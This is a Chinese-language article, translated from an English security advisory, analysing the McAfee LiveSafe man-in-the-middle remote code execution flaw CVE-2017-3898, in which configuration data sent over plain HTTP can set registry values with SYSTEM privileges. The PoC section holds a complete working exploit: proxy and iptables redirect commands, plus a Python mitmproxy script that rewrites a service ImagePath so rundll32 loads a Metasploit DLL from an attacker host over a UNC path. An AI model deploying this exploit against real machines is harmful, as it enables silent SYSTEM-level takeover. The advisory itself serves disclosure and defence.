安全文库

【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析


【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

2017-09-19 11:00:51 閱讀:2433次 點贊(0) 收藏 來源: securiteam.com

作者:eridanus96


【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

譯者:Janus情報局

預估稿費:130RMB

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

漏洞概述


該漏洞影響McAfee LiveSafe (MLS) 16.0.3之前的全部版本,存在遠程代碼執行。此漏洞允許攻擊者通過篡改HTTP後端響應,從而修改與McAfee更新相關的Windows註冊表值。

McAfee Security Scan Plus是一個免費的診斷工具,可檢查計算機中的防病毒軟件、防火牆及Web安全軟件,同時還會掃描已運行程序中的威脅。

該漏洞由Silent Signal首次發現並通報。目前已發布該漏洞的補丁,網址為:https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714


漏洞詳情


攻擊者可以在多個McAfee產品中實現遠程代碼執行。受影響的產品會通過明文HTTP通道,從http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp檢索配置數據(其中的“COUNTRY”修改為國家的兩字母標識符,例如英國是“uk”、中國是“cn”)。

響應的正文包含XML格式數據,類似於下列內容:

<webservice-response response-version="1.0" frequency="168" verid="1#1316#15#0#2"> <update> <reg key="HKLM/SOFTWARE/McAfee/MSC/Settings/InProductTransaction" name="enable" type="REG_DWORD" value="1" obfuscate="0"/> </update> </webservice-response>

在上述響應中,描述了在“webservice-response/update”路徑下使用reg標記進行的註冊表修改行為。

這一請求和後續的更新會自動觸發,首次觸發是在軟件安裝后的特定分鐘后(默認情況下為168分鐘)。

此更新由McSvHost.exe進程的PlatformServiceFW.dll執行,方法是使用/update參數調用mcsvrcnt.exe程序。McSvHost.exe進程使用由實現註冊表更改的mcsvrcnt.exe繼承的系統權限運行。

因此,攻擊者可以修改服務器響應,以使用系統(SYSTEM)權限寫入特定的註冊表。


PoC


我們可以藉助該漏洞,作為代理來攔截和修改明文HTTP請求及響應。由於該軟件對HTTPS服務會進行證書驗證,因此,讓這些連接不經過修改就非常重要。

常規的HTTP代理模式中,可以通過使用–ignore mitmproxy的命令行參數來實現這一點:

mitmproxy -s mcreggeli_inline.py --ignore '.*'

在透明代理的模式下,不應該提供上述參數:

mitmproxy -s mreggeli_inline.py –T

針對透明代理模式,可使用以下命令,在基於Debian的Linux發行版本上配置 NAT和端口重定向(此處eth0 是對目標可見的接口,eth1連接到網絡):

iptables -t nat -A PREROUTING -i eth0 -p tcp /
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1

該腳本會在請求URL中查找“mscconfig.asp”字符串。如果發現XML響應正文被反序列化,則會根據在腳本開頭聲明的reg變量,添加新的reg節點。REG變量是一個字典列表,每個字典都包含以下鍵:

密鑰:要修改的註冊表項的名稱 (例如“HKLM/SYSTEM/CurrentControlSet/Services/mfevtp”,其中的反斜線需進行Python的轉義);

類型:需要創建的值的類型(例如字符串的“REG_SZ”);

名稱:需要創建的值的名稱;

值:需要創建的值。

該漏洞利用還會將頻率屬性更改為1,這樣一來,如果需要再次滲透,就可以在更短的時間內(1小時之內)進行。插入新節點后,將序列化生成的對象,並將其置於原始響應正文的位置。

為了演示,我們覆蓋了受影響的McAfee產品(即mfevtp,McAfee進程驗證服務)的一個服務條目——HKLM/SYSTEM/CurrentControlSet/Services/mfevtp,其值被替換為指向帶有指向攻擊主機的 UNC 路徑參數的rundll32.exe。在這裡,我們使用了Metasploit中smb_delivery模塊提供的payload test.dll:

【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

REG變量聲明如下:

REG=[{"key":"HKLM//SYSTEM//CurrentControlSet//Services//mfevtp", "type":"REG_SZ","name":"ImagePath", "value":"c://windows//system32//rundll32.exe ////172.16.205.1//pwn//test.dll,0"},]

這樣一來,在重新啟動計算機之後,系統(SYSTEM)級的命令執行就會被觸發,而McAfee軟件並沒有發現該情況的存在。

mcreggeli_inline.py #!/usr/bin/env python3 # # HTTP proxy mode: #  mitmproxy -s mcreggeli_inline.py --ignore '.*' # # Transparent proxy mode: #   mitmproxy -s mcreggeli_inline.py -T --host # from mitmproxy import ctx, http from lxml import etree REG=[{"key":"HKLM//SYSTEM//CurrentControlSet//Services//mfevtp","type":"REG_SZ","name":"ImagePath","value":"c://windows//system32//rundll32.exe ////172.16.205.1//pwn//test.dll,0"},]   def response(flow):         if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:             try:                 oxml=etree.XML(flow.response.content)                 oxml.set("frequency","1")                 update=oxml.xpath("//webservice-response/update")[0]                 for r in REG:                     reg=etree.SubElement(update,"reg")                     reg.set("key", r["key"])                     reg.set("type", r["type"])                     reg.set("obfuscate", "0")                     reg.set("name", r["name"])                     reg.set("value", r["value"])                 #ctx.log(etree.tostring(oxml))                 flow.response.content=etree.tostring(oxml)                 ctx.log("[+] [MCREGGELI] Payload sent")             except etree.XMLSyntaxError:                 ctx.log("[-] [MCREGGELI] XML deserialization error")

【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析 【技術分享】McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)的分析

本文由 安全客 翻譯,轉載請註明“轉自安全客”,並附上鏈接。
原文鏈接:https://blogs.securiteam.com/index.php/archives/3248#more-3248